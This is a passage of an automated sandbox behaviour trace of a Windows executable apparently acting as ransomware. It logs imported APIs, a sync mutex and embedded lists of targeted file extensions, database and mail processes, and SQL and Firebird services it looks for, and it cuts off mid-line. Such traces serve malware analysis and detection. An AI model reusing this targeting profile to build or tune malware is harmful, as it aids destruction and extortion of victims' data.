# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 08.07.2019 14:39:12.586 Process: id = "1" image_name = "wmxsde.exe" filename = "c:\\users\\fd1hvy\\desktop\\wmxsde.exe" page_root = "0x705bc000" os_pid = "0x474" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa9c [0034.150] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0034.150] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0034.150] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0034.150] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0034.150] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0034.150] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0034.151] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0034.152] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0034.153] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0034.153] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0036.366] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0036.366] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0036.366] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0036.367] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0036.367] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0039.431] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0039.431] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0044.829] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0044.829] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0044.829] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0044.829] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73fe0000 [0044.958] GetProcAddress (hModule=0x73fe0000, lpProcName="WNetCloseEnum") returned 0x73fe2640 [0044.958] GetProcAddress (hModule=0x73fe0000, lpProcName="WNetOpenEnumW") returned 0x73fe2790 [0044.958] GetProcAddress (hModule=0x73fe0000, lpProcName="WNetEnumResourceW") returned 0x73fe2410 [0044.958] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0045.225] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0045.226] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0045.226] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0045.226] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0045.226] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0045.226] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0045.226] GetProcessHeap () returned 0x6a0000 [0045.226] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aaea0 [0045.226] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=13642357484) returned 1 [0045.226] GetTickCount () returned 0x214c6 [0045.226] GetCurrentProcessId () returned 0x474 [0045.227] GetTickCount () returned 0x214c6 [0045.227] GetTickCount () returned 0x214c6 [0045.227] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6aaef0 [0045.227] GetVersion () returned 0x23f00206 [0045.227] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b6ea0 [0045.227] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b76f8 [0045.227] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b76f8, Size=0x20) returned 0x6aafb8 [0045.227] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6aafb8, Size=0x40) returned 0x6ba348 [0045.227] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6be760 [0045.228] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41A") returned 0x0 [0045.228] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_8B9U41A") returned 0x1ec [0045.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6ea0 | out: hHeap=0x6a0000) returned 1 [0045.228] lstrlenW (lpString="Global\\syncronize_") returned 18 [0045.228] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba348 | out: hHeap=0x6a0000) returned 1 [0045.228] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b6ea0 [0045.228] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b7560 [0045.228] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7560, Size=0x20) returned 0x6aafb8 [0045.228] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6aafb8, Size=0x40) returned 0x6ba5d0 [0045.228] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6ce768 [0045.229] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41U") returned 0x0 [0045.229] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_8B9U41U") returned 0x1f0 [0045.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6ea0 | out: hHeap=0x6a0000) returned 1 [0045.229] lstrlenW (lpString="Global\\syncronize_") returned 18 [0045.229] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5d0 | out: hHeap=0x6a0000) returned 1 [0045.229] GetVersion () returned 0x23f00206 [0045.229] GetCurrentProcess () returned 0xffffffff [0045.229] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0045.229] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0045.229] CloseHandle (hObject=0x1f4) returned 1 [0045.229] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0045.229] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b54d0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b74e8 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b74e8, Size=0x20) returned 0x6aafb8 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6aafb8, Size=0x40) returned 0x6ba1e0 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba1e0, Size=0x80) returned 0x6b23b8 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b23b8, Size=0x100) returned 0x6b7358 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x34) returned 0x6b92d8 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6ea0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6cf0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6da0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7620 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6d20 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b7770 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6d20, Size=0x8) returned 0x6b6dd0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7680 [0045.229] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6dd0, Size=0x10) returned 0x6b75f0 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b7560 [0045.229] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b76f8 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b75f0, Size=0x20) returned 0x6aafb8 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7638 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b7578 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6ea0, Size=0x8) returned 0x6b6d00 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6cf0, Size=0x8) returned 0x6b6ea0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6dc0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7590 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6dd0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b74e8 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6dd0, Size=0x8) returned 0x6b6cf0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b7698 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6cf0, Size=0x10) returned 0x6b75a8 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b76e0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6cf0 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b75a8, Size=0x20) returned 0x6de8e0 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6d00, Size=0x10) returned 0x6b75a8 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6ea0, Size=0x10) returned 0x6b7710 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6ea0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b75c0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6d00 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b7728 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6d00, Size=0x8) returned 0x6b6dd0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6d00 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b75f0 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6d20 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b76b0 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6d20, Size=0x8) returned 0x6b6de0 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b75a8, Size=0x20) returned 0x6de7c8 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7710, Size=0x20) returned 0x6de9f8 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b6d20 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7710 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b6d30 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b75a8 [0045.230] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6d30, Size=0x8) returned 0x6b6d40 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b5490 [0045.230] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b51d0 [0045.230] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0045.230] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7358 | out: hHeap=0x6a0000) returned 1 [0045.231] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b7740 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7740, Size=0x20) returned 0x6deae8 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deae8, Size=0x40) returned 0x6ba300 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba300, Size=0x80) returned 0x6b7d68 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7d68, Size=0x100) returned 0x6b7358 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b7740 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7740, Size=0x20) returned 0x6deb60 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb60, Size=0x40) returned 0x6ba078 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba078, Size=0x80) returned 0x6e4160 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4160, Size=0x100) returned 0x6e5030 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b7740 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6e33e0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e5318 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e33e0, Size=0x8) returned 0x6e34d0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b5430 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e34d0, Size=0x10) returned 0x6e5390 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b52d0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6debd8 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5390, Size=0x20) returned 0x6de7f0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6de980 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x16) returned 0x6b5270 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6de818 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e5420 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6e34d0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6ba390 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e34d0, Size=0x8) returned 0x6e34f0 [0045.235] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3c) returned 0x6ba4f8 [0045.235] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e34f0, Size=0x10) returned 0x6e5330 [0045.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b50f0 [0045.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b5450 [0045.236] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5330, Size=0x20) returned 0x6debb0 [0045.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6b6048 [0045.236] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0045.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7358 | out: hHeap=0x6a0000) returned 1 [0045.236] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0045.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5030 | out: hHeap=0x6a0000) returned 1 [0045.236] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6de868 [0045.240] EnumServicesStatusExW (in: hSCManager=0x6de868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0045.241] GetLastError () returned 0xea [0045.241] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x6e7728 [0045.241] EnumServicesStatusExW (in: hSCManager=0x6de868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e7728, cbBufSize=0x1cd6, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e7728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0045.242] CloseServiceHandle (hSCObject=0x6de868) returned 1 [0045.243] lstrlenW (lpString="Appinfo") returned 7 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.246] lstrlenW (lpString="AppXSvc") returned 7 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0045.246] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.246] lstrlenW (lpString="Audiosrv") returned 8 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0045.246] lstrcmpiW 